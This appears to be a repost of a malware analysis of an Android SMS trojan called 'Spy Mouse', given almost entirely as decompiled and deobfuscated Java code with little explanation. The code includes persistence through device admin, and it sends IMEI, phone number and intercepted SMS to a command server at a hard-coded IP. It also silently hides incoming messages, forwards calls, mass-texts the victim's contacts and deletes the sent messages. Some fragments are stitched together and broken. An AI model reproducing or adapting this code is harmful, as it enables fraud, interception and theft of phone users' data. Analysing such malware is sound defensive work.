2019-02-28 14:14:1314843人阅读
MD5: a1b5c184d447eaac1ed47bc5a0db4725 SHA-1: 98bb4315a5ee3f92a3275f08e45f7e35d9995cd2 SHA-256: c385020ef9e6e04ad08757324f78963378675a1bdb57a4de0fd525cffe7f2139 File type: application/java-archive File size: 535.6 KB Detection rate: 32 / 61
private Context context; /**
* This is the renamed function, which was previously named "q".
*/public Context getContext() {
return context;} /**
* This is the newly added function, which relies on the original instead of the refactored name.
*/public String x() {
return q.LAUNCHER_APPS_SERVICE;}<?xml version="1.0" encoding="utf-8"?><manifest package="org.starsizew" platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859" xmlns:android="http://schemas.android.com/apk/res/android"> <uses-sdk android:minSdkVersion="9" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.GET_TASKS" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.READ_LOGS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true"> <activity android:label="@string/app_name" android:name="org.starsizew.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="org.starsizew.MainService" android:enabled="true" android:exported="true" /> <service android:name="org.starsizew.Ad" android:enabled="true" android:exported="true" /> <receiver android:name="org.starsizew.MainServiceBroadcastReceiverWrapper" android:enabled="true" android:exported="false"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.SCREEN_ON" /> <category android:name="android.intent.category.HOME" /> </intent-filter> </receiver> <receiver android:name="org.starsizew.DeviceAdminReceiverWrapper" android:permission="android.permission.BIND_DEVICE_ADMIN"> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> <meta-data android:name="stopOnDeviceLock" android:value="false" /> <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" /> <meta-data android:name="preventRestart" android:value="true" /> <intent-filter> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" /> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" /> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> </receiver> <receiver android:name="org.starsizew.Ma"> <intent-filter android:priority="100"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> </application></manifest>
<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter></activity>
<string name="app_name">Spy Mouse</string>
<receiver android:name="org.starsizew.Ac" android:enabled="true" android:exported="false"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.SCREEN_ON" /> <category android:name="android.intent.category.HOME" /> </intent-filter></receiver>
<receiver android:name="org.starsizew.Aa" android:permission="android.permission.BIND_DEVICE_ADMIN"> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> <meta-data android:name="stopOnDeviceLock" android:value="false" /> <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" /> <meta-data android:name="preventRestart" android:value="true" /> <intent-filter> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" /> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" /> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter></receiver>
<receiver android:name="org.starsizew.Ma"> <intent-filter android:priority="100"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter></receiver>
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(2130903040);
Context applicationContext = getApplicationContext();
applicationContext.startService(new Intent(applicationContext, Tb.class));
((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
q();
}}private void q() {
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN"), new ComponentName(this, Aa.class));
startActivityForResult(intent, 100);}public class Aa extends DeviceAdminReceiver {
public void onDisabled(Context context, Intent intent) {
super.onDisabled(context, intent);
} public void onEnabled(Context context, Intent intent) {
super.onEnabled(context, intent);
} public void onPasswordChanged(Context context, Intent intent) {
super.onPasswordChanged(context, intent);
}}private static final String[] q = new String[]{q(q("-]aK\u001f/Yx\n\u0010blU!!")), q(q("-Cu\u0017\u0011%I?\u0004\u000e<\u0003t\u001d\n>L?"))}; private static String q(char[] cArr) {
int length = cArr.length;
for (int i = 0; length > i; i++) {
int i2;
char c = cArr[i];
switch (i % 5) {
case 0:
i2 = 76;
break;
case 1:
i2 = 45;
break;
case 2:
i2 = 17;
break;
case 3:
i2 = 101;
break;
default:
i2 = TransportMediator.KEYCODE_MEDIA_PLAY;
break;
}
cArr[i] = (char) ((char) (i2 ^ c));
}
return new String(cArr).intern();} private static char[] q(String str) {
char[] toCharArray = str.toCharArray();
if (toCharArray.length < 2) {
toCharArray[0] = (char) ((char) (toCharArray[0] ^ TransportMediator.KEYCODE_MEDIA_PLAY));
}
return toCharArray;}app.action.ADD_ android.app.extra.
protected void onCreate(Bundle bundle){
//[omitted]
applicationContext.startService(new Intent(applicationContext, Tb.class));
((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
q();
}}package org.starsizew; public final class o {
public static String E = new StringBuilder(q(q("}5\u0005"))).append(f).append(q(q("C0"))).toString();
public static String Q = (b + y + o + y + q(q("C1\u00031hL")) + y + s);
public static String R = q(q("r\u001d$\f"));
public static String T = q(q("V;\u001a="));
public static String W = q(q("C>\u0016*j"));
public static int Y;
public static String a = (b + q(q("\f3\u0007()G*\u0003*f")));
public static String b = q(q("C<\u0013*hK6"));
public static String c = q(q("R:\u00186b"));
public static String d = q(q("V7\u001b"));
public static String e = new StringBuilder(q(q("K<"))).append(f).append(q(q("Q&"))).toString();
public static String f = "";
public static String g = q(q("\u001bbG"));
public static String h = q(q("Q?\u0004"));
public static String i = (b + y + o + y + q(q("C1\u00031hL|\u0002+tF|\u00186")));
public static String j = new StringBuilder(String.valueOf(h.toUpperCase())).append(q(q("}\u00002\u001bBk\u00042\u001c"))).toString();
public static String k = q(q("C0\u0018*s"));
public static String l = q(q("` \u00189cA3\u0004,"));
public static String m = q(q("e\u0017#"));
public static String n = (p + q(q("}\"\u00184nA+")));
public static String o = q(q("K<\u0003=iV"));
public static String p = q(q("F7\u00011dG"));
public static String q = (b + q(q("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + j);
public static String r = new StringBuilder(q(q("M<"))).append(f).append(q(q("G\r"))).toString();
public static String s = q(q("a\u0013;\u0014"));
public static String t = new StringBuilder(q(q("M\"\u0012"))).append(f).append(q(q("P3"))).append(f).append(q(q("V=\u0005"))).toString();
public static String u = (T + q(q("}\"\u0012*")) + f + q(q("G:\u0001")));
public static String v = new StringBuilder(String.valueOf(p.toUpperCase())).append(q(q("}\u00133\u0015Nl"))).toString();
public static String w = q(q("v7\u000f,JG!\u00049`G"));
public static int x = 1;
public static String y = ".";
public static int z = 0; private static String q(char[] cArr) {
int length = cArr.length;
for (int i = 0; length > i; i++) {
int i2;
char c = cArr[i];
switch (i % 5) {
case 0:
i2 = 34;
break;
case 1:
i2 = 82;
break;
case 2:
i2 = 119;
break;
case 3:
i2 = 88;
break;
default:
i2 = 7;
break;
}
cArr[i] = (char) ((char) (i2 ^ c));
}
return new String(cArr).intern();
} private static char[] q(String str) {
char[] toCharArray = str.toCharArray();
if (toCharArray.length < 2) {
toCharArray[0] = (char) ((char) (toCharArray[0] ^ 7));
}
return toCharArray;
}}package org.starsizew; public final class StringDatabase {
public static String _grab = new StringBuilder(decryptCharArray(decryptString("}5\u0005"))).append(emptyString).append(decryptCharArray(decryptString("C0"))).toString();
public static String AndroidIntentActionCall = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL")) + dot + CALL);
public static String POST = decryptCharArray(decryptString("r\u001d$\f"));
public static String time = decryptCharArray(decryptString("V;\u001a="));
public static String alarm = decryptCharArray(decryptString("C>\u0016*j"));
public static int integerZero;
public static String AndroidAppExtra = (android + decryptCharArray(decryptString("\f3\u0007()G*\u0003*f")));
public static String android = decryptCharArray(decryptString("C<\u0013*hK6"));
public static String phone = decryptCharArray(decryptString("R:\u00186b"));
public static String tel = decryptCharArray(decryptString("V7\u001b"));
public static String inst = new StringBuilder(decryptCharArray(decryptString("K<"))).append(emptyString).append(decryptCharArray(decryptString("Q&"))).toString();
public static String emptyString = "";
public static String integer900 = decryptCharArray(decryptString("\u001bbG"));
public static String sms = decryptCharArray(decryptString("Q?\u0004"));
public static String AndroidIntentActionUssdOn = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL|\u0002+tF|\u00186")));
public static String SMS_RECEIVED = new StringBuilder(String.valueOf(sms.toUpperCase())).append(decryptCharArray(decryptString("}\u00002\u001bBk\u00042\u001c"))).toString();
public static String abort = decryptCharArray(decryptString("C0\u0018*s"));
public static String Broadcast = decryptCharArray(decryptString("` \u00189cA3\u0004,"));
public static String GET = decryptCharArray(decryptString("e\u0017#"));
public static String device_policy = (device + decryptCharArray(decryptString("}\"\u00184nA+")));
public static String intent = decryptCharArray(decryptString("K<\u0003=iV"));
public static String device = decryptCharArray(decryptString("F7\u00011dG"));
public static String AndroidProviderTelephonySMS_RECEIVED = (android + decryptCharArray(decryptString("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + SMS_RECEIVED);
public static String one_ = new StringBuilder(decryptCharArray(decryptString("M<"))).append(emptyString).append(decryptCharArray(decryptString("G\r"))).toString();
public static String CALL = decryptCharArray(decryptString("a\u0013;\u0014"));
public static String operator = new StringBuilder(decryptCharArray(decryptString("M\"\u0012"))).append(emptyString).append(decryptCharArray(decryptString("P3"))).append(emptyString).append(decryptCharArray(decryptString("V=\u0005"))).toString();
public static String time_perehv = (time + decryptCharArray(decryptString("}\"\u0012*")) + emptyString + decryptCharArray(decryptString("G:\u0001")));
public static String DEVICE_ADMIN = new StringBuilder(String.valueOf(device.toUpperCase())).append(decryptCharArray(decryptString("}\u00133\u0015Nl"))).toString();
public static String TextMessage = decryptCharArray(decryptString("v7\u000f,JG!\u00049`G"));
public static int integerTrue = 1;
public static String dot = ".";
public static int integerFalse = 0; //Decryption functions are omitted for brevity}Context applicationContext = getApplicationContext();applicationContext.startService(new Intent(applicationContext, Tb.class));
public void onCreate() {
super.onCreate();
q = true;
this.w = getSharedPreferences(getApplicationContext().getString(2131099651), StringDatabase.integerFalse);
new Thread(new u(this)).start();}[public.xml]<public type="string" name="PREFS_NAME" i7F060003d="0x7f060003" /> [strings.xml]<string name="PREFS_NAME">AppPrefs</string>
public IBinder onBind(Intent intent) {
throw new UnsupportedOperationException(stringError);}public void onDestroy() {
super.onDestroy();
isActive = false;
Intent intent = new Intent(this, Tb.class);
intent.setFlags(268435456);
startService(intent);}package org.starsizew; final class u implements Runnable {
final Mainservice mainService;
u(Mainservice mainService) {
this.mainService = mainService;
} public final void run() {
this.mainService.r.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
}}public Handler r = new Handler();public Runnable t = new w(this);
package org.starsizew; final class u implements Runnable {
final Mainservice mainService;
u(Mainservice mainService) {
this.mainService = mainService;
} public final void run() {
this.mainService.handler.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
}}public final void run() {
boolean z = MainService.e;
if (!this.mainService.sharedPreferences.contains(StringDatabase.one_ + StringDatabase.inst)) {
Editor edit = this.mainService.sharedPreferences.edit();
edit.putInt(StringDatabase.one_ + StringDatabase.inst, StringDatabase.integerTrue);
edit.putString(w[0], this.mainService.getApplicationContext().getString(2131099653));
edit.putString(StringDatabase.inst, "1");
edit.putLong(StringDatabase.time_perehv, 100);
edit.putString(w[3], new StringBuilder(String.valueOf(this.mainService.getApplicationContext().getString(2131099652))).append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
edit.putString(new StringBuilder(w[4]).append(StringDatabase.emptyString).append(w[1]).toString(), a.q(this.mainService.getApplicationContext()).getDeviceId());
edit.apply();
}
List arrayList = new ArrayList();
if (this.mainService.sharedPreferences.getString(StringDatabase.inst, null) == "1") {
new i(this.mainService.getApplicationContext(), arrayList, StringDatabase.inst + w[5]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
} else {
new i(this.mainService.getApplicationContext(), arrayList, w[2]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
}
this.mainService.handler.postDelayed(this, (long) Constants.int50005);
if (z) {
StringDatabase.integerZero++;
}}public final void run() {
boolean z = MainService.e;
if (!this.mainService.sharedPreferences.contains("one_inst")) {
Editor edit = this.mainService.sharedPreferences.edit();
edit.putInt("one_inst1");
edit.putString("url", "http://37.1.207.31/api/?id=7");
edit.putString("inst", "1");
edit.putLong("time_perehv", 100);
edit.putString("id", new StringBuilder("00122".append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
edit.putString("imei", a.q(this.mainService.getApplicationContext()).getDeviceId());
edit.apply();
}
List arrayList = new ArrayList();
if (this.mainService.sharedPreferences.getString("inst", null) == "1") {
new i(this.mainService.getApplicationContext(), arrayList, "install").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
} else {
new i(this.mainService.getApplicationContext(), arrayList, "info").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
}
this.mainService.handler.postDelayed(this, 50005);
if (z) {
StringDatabase.integerZero++;
}}static TelephonyManager q(Context context) {
return (TelephonyManager) context.getSystemService(StringDatabase.phone);}static TelephonyManager getTelephonyManager(Context context) {
return (TelephonyManager) context.getSystemService(StringDatabase.phone);}public static boolean q(String str, String str2) {
try {
Class cls = Class.forName(StringDatabase.android + ".telephony.SmsManager");
Object invoke = cls.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
Method method = cls.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
Object[] objArr = new Object[5];
objArr[0] = str;
objArr[2] = str2;
method.invoke(invoke, objArr);
} catch (Exception e) {
}
return false;}public void sendTextMessage (String destinationAddress, String scAddress, String text, PendingIntent sentIntent, PendingIntent deliveryIntent)
public static boolean sendSms(String destinationAddress, String text) {
try {
Class SmsManager = Class.forName(StringDatabase.android + ".telephony.SmsManager");
Object methodGetDefaultSmsManager = SmsManager.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
Method methodSendTextMessage = SmsManager.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
Object[] objectArray = new Object[5];
objectArray[0] = destinationAddress;
objectArray[2] = text;
methodSendTextMessage.invoke(methodGetDefaultSmsManager, objectArray);
} catch (Exception e) {
}
return false;}protected final Object doInBackground(Object[] objArr) {
Object obj = null;
boolean z = true;
boolean z2 = MainService.e;
String str = ((String[]) objArr)[StringDatabase.integerFalse];
t tVar = new t();
this.e.add(new BasicNameValuePair("method", this.r));
this.e.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", null)));
if (this.r.startsWith("install")) {
String str2 = "POST";
this.e.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
this.e.add(new BasicNameValuePair("model", Build.MODEL));
this.e.add(new BasicNameValuePair("os", VERSION.RELEASE));
this.e.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
this.e.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
this.e.add(new BasicNameValuePair("version", s.w));
this.e.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
obj = t.q(str, "POST", this.e);
} else if (this.r.startsWith("info")) {
obj = t.q(str, "POST", this.e);
} else if (this.r.startsWith("sms")) {
obj = t.q(str, "POST", this.e);
}
if (StringDatabase.integerZero != 0) {
if (z2) {
z = false;
}
MainService.e = z;
}
return obj;}public static JSONObject q(String url, String var1, List var2) {
boolean var10001;
label66:
{
DefaultHttpClient defaultHttpClient;
try {
if (var1 == "POST") {
defaultHttpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(url);
UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(var2, "UTF-8");
httpPost.setEntity(urlEncodedFormEntity);
inputStream = defaultHttpClient.execute(httpPost).getEntity().getContent();
break label66;
}
} catch (Throwable var12) {
var10001 = false;
break label66;
} try {
if (var1 == "GET") {
defaultHttpClient = new DefaultHttpClient();
String formattedUrlUtils = URLEncodedUtils.format(var2, "utf-8");
StringBuilder var3 = new StringBuilder(String.valueOf(url));
HttpGet httpGet = new HttpGet(var3.append("?").append(formattedUrlUtils).toString());
inputStream = defaultHttpClient.execute(httpGet).getEntity().getContent();
}
} catch (Throwable var11) {
var10001 = false;
}
}
label55:
{
BufferedReader var14;
StringBuilder var20;
try {
InputStreamReader var18 = new InputStreamReader(inputStream, "iso-8859-1");
var14 = new BufferedReader(var18, 8);
var20 = new StringBuilder();
} catch (Throwable var10) {
var10001 = false;
break label55;
} while (true) {
try {
var1 = var14.readLine();
} catch (Throwable var8) {
var10001 = false;
break;
} if (var1 == null) {
try {
inputStream.close();
w = var20.toString();
break;
} catch (Throwable var7) {
Throwable var15 = var7; try {
throw var15;
} catch (Throwable var6) {
var10001 = false;
break;
}
}
} try {
var20.append(var1).append("\n");
} catch (Throwable var9) {
var10001 = false;
break;
}
}
} try {
JSONObject var16 = new JSONObject(w);
jsonObject = var16;
} catch (Throwable var5) {
} return jsonObject;}public static JSONObject callC2(String url, String httpMethod, List parameters) {
boolean var10001;
label66:
{
DefaultHttpClient httpClient;
try {
if (httpMethod == "POST") {
httpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(url);
UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(parameters, "UTF-8");
httpPost.setEntity(urlEncodedFormEntity);
inputStream = httpClient.execute(httpPost).getEntity().getContent();
break label66;
}
} catch (Throwable throwable) {
var10001 = false;
break label66;
} try {
if (httpMethod == "GET") {
httpClient = new DefaultHttpClient();
String encodedParameters = URLEncodedUtils.format(parameters, "utf-8");
StringBuilder urlBuilder = new StringBuilder(String.valueOf(urlBuilder));
HttpGet httpGet = new HttpGet(urlBuilder.append("?").append(encodedParameters).toString());
inputStream = httpClient.execute(httpGet).getEntity().getContent();
}
} catch (Throwable throwable) {
var10001 = false;
}
}
label55:
{
BufferedReader bufferedReader;
StringBuilder stringBuilder;
try {
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "iso-8859-1");
bufferedReader = new BufferedReader(inputStreamReader, 8);
stringBuilder = new StringBuilder();
} catch (Throwable var10) {
var10001 = false;
break label55;
} while (true) {
try {
httpMethod = bufferedReader.readLine();
} catch (Throwable throwable) {
var10001 = false;
break;
} if (httpMethod == null) {
try {
inputStream.close();
serverResponseRaw = stringBuilder.toString();
break;
} catch (Throwable throwable) {
Throwable throwable2 = throwable; try {
throw throwable2;
} catch (Throwable throwable1) {
var10001 = false;
break;
}
}
} try {
stringBuilder.append(httpMethod).append("\n");
} catch (Throwable throwable) {
var10001 = false;
break;
}
}
} try {
JSONObject serverResonseJson = new JSONObject(serverResponseRaw);
ServerCommunicator.serverResponseJson = serverResonseJson;
} catch (Throwable throwable) {
} return serverResponseJson;}protected final Object doInBackground(Object[] urlArray) {
Object var2 = null;
boolean var3 = false;
boolean var4 = MainService.e;
String url = ((String[]) urlArray)[0];
ServerCommunicator serverCommunicator = new ServerCommunicator();
this.parameters.add(new BasicNameValuePair("method", this.command));
this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null)));
JSONObject serverResponse;
if (this.command.startsWith("install")) {
String POST = "POST";
this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
this.parameters.add(new BasicNameValuePair("model", Build.MODEL));
this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE));
this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
this.parameters.add(new BasicNameValuePair("version", Constants.version));
this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
serverResponse = ServerCommunicator.callC2(url, POST, this.parameters);
} else if (this.command.startsWith("info")) {
serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
} else {
serverResponse = (JSONObject) var2;
if (this.command.startsWith("sms")) {
serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
}
} if (StringDatabase.integerZero != 0) {
if (!var4) {
var3 = true;
}
MainService.e = var3;
} return serverResponse;}public final class Constants {
public static int int50005 = 50005;
public static String version = "5";}//[omitted]try {
if(v15.equals(String.valueOf(o.h) + o.E)) {
this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit();
}
if(v15.equals(String.valueOf(o.h) + i.t[18])) {
i.q(v8.optString(i.t[33]), v8.optString(o.c));
}
if(v15.equals(i.t[21] + o.f + i.t[16])) {
v16 = v8.optString(i.t[33]);
v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
if(v17 != null) {
goto label_125;
}
goto label_132;
}
goto label_160;}
catch(Throwable v2) {
return;}
try {
label_125:
if(v17.getCount() > o.z) {
goto label_128;
}
goto label_132;}
catch(Throwable v2) {
goto label_273;}//[omitted]protected final void onPostExecute(JSONArray commandJson) {
String command = commandJsonArray[0];
switch (command) {
case "install_true":
sharedPreferenceEditor.putString("inst", "2").commit();
break;
case "call_number":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
break;
case "sms_grab":
Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
break;
case "sms_send":
sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
break;
case "delivery":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
String smsMessage = commandJson.optString("text");
String recipientPhoneNumber;
Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
for (int i = 1; i < 30; i++) {
if (allContacts.moveToNext()) {
if (contactIds.moveToFirst()) {
recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
if (recipientPhoneNumber != null) {
sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
}
}
}
}
}
break;
case "new_url":
String url = commandJson.optString("text");
if (url.length() > 10) {
sharedPreferenceEditor.putString("url", url).commit();
sharedPreferenceEditor.putString("inst", "1").commit();
}
break;
case "ussd":
TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
break;
}}case "install_true":
sharedPreferenceEditor.putString("inst", "2").commit();
break;case "call_number":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
break;public final void run() {
new TelephonyManagerWrapper2().callPhoneNumber(i.context, "#21#");}case "sms_grab":
Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
break;private static String getAllSmsMessageBodies(SmsMessage[] smsMessageArray) {
StringBuilder stringBuilder = new StringBuilder();
for (SmsMessage messageBody : smsMessageArray) {
stringBuilder.append(messageBody.getMessageBody());
}
return stringBuilder.toString();}public void onReceive(Context context, Intent intent) {
String intentAction;
context.startService(new Intent(context, MainService.class));
this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
try {
intentAction = intent.getAction();
} catch (Throwable th) {
intentAction = "";
}
Object[] objArr = (Object[]) intent.getExtras().get("pdus");
if (isActive || objArr != null) {
SmsMessage[] smsMessageArray = new SmsMessage[objArr.length]; long j = this.sharedPreferences.getLong("time_perehv", 0);
if (System.currentTimeMillis() < Long.valueOf(j).longValue()) {
this.w = true;
}
if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
this.w = true;
}
if (this.w && intent != null && intentAction != null) {
if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
String displayOriginatingAddress;
for (int i = 0; i < objArr.length; i++) {
smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
new Handler().postDelayed(new y(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
}
String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
List parameters = new ArrayList();
parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
;
try {
q();
return;
} catch (Exception e) {
return;
}
}
return;
}
return;
}
throw new AssertionError();}public final void run() {
((android.app.NotificationManager) this.context.getSystemService("notification").cancelAll();
TelephonyManagerWrapper2.removeSentMessages(this.context, (String) this.body, this.numberTo);}private boolean q() {
try {
Class.forName("android.content.Receiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
} catch (Throwable th) {
}
return true;}public void onReceive(Context context, Intent intent) {
String intentAction;
context.startService(new Intent(context, MainService.class));
this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
try {
intentAction = intent.getAction();
} catch (Throwable th) {
intentAction = "";
}
Object[] objArr = (Object[]) intent.getExtras().get("pdus");
if (isActive || objArr != null) {
SmsMessage[] smsMessageArray = new SmsMessage[objArr.length]; long blockTimeDeadline = this.sharedPreferences.getLong("time_perehv", 0);
if (System.currentTimeMillis() < Long.valueOf(blockTimeDeadline).longValue()) {
this.shouldBlock = true;
}
if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
this.shouldBlock = true;
}
if (this.shouldBlock && intent != null && intentAction != null) {
if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
String displayOriginatingAddress;
for (int i = 0; i < objArr.length; i++) {
smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
new Handler().postDelayed(new CancelAllNotificationsRunnable(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
}
String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
List parameters = new ArrayList();
parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
;
try {
abortBroadcastWrapper();
return;
} catch (Exception e) {
return;
}
}
return;
}
return;
}
throw new AssertionError();}case "sms_send":
sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
break;private static void sendAndRemoveMessage(String message, String numberTo) {
if (numberTo != null && message != null) {
TelephonyManagerWrapper.sendSms(numberTo, message);
(new Handler()).postDelayed(new RemoveAllSentMessagesRunnable(message, numberTo), 2000L);
}}final class RemoveAllSentMessagesRunnable implements Runnable {
private final String message;
private final String numberTo;
RemoveAllSentMessagesRunnable(String message, String numberTo) {
this.message = message;
this.numberTo = numberTo;
} public final void run() {
TelephonyManagerWrapper2.removeSentMessages(CommandHandler.context, this.message, this.numberTo);
}}case "ussd":
TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
break;case "delivery":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
String smsMessage = commandJson.optString("text");
String recipientPhoneNumber;
